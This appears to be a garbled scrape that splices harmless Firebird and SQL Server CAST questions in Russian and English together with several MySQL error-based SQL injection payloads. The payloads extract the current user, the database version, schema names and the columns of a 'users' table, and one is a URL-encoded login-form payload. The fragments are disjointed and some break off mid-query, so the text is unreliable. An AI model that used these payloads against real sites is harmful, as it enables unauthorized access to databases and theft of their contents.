select cast (2000 as type of quint) from rdb$database select cast (2000 as int) from rdb$database.
Для вашего поискового запроса SELECT 8258 FROM SELECT COUNT CONCAT 0x7170787a71 SELECT ELT 8258 8258 1 0x7170707871 FLOOR RAND 0 2 X FROM INFORMATION SCHEMA PLUGINS GROUP BY X A MP3 мы нашли
Select char_length(cast('123456789 1' as varchar(10))) from rdb$database. Получаем: Exception ... string truncation Т.е. пробел мы обрезать можем, а другие символы нет. Так и должно быт�� или нет?
...(select (select distinct concat(0x7e,0x27,unhex(Hex(cast(schema_name as char))),0x27,0x7e) from `information_schema`.schemata limit 1,1)) from `information_schema`.tables limit 0,1)
So_buy+and%28SELECT+1+from%28SELECT+count(*),concat((select+%28SELECT+concat
Поиск текущего пользователя: 1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1. Версия MySQL
and (select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name=0x726174696e6773 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a).
SELECT DISTINCT CAST(EnglishProductName AS char(10)) AS Name, ListPrice FROM dbo.DimProduct WHERE EnglishProductName LIKE 'Long-Sleeve Logo Jersey, M'
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
username=pwner10&password='),(select 1 from (select count(*),concat((select(select concat(cast(column_name as char),0x7e)) from information_schema.columns where table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)...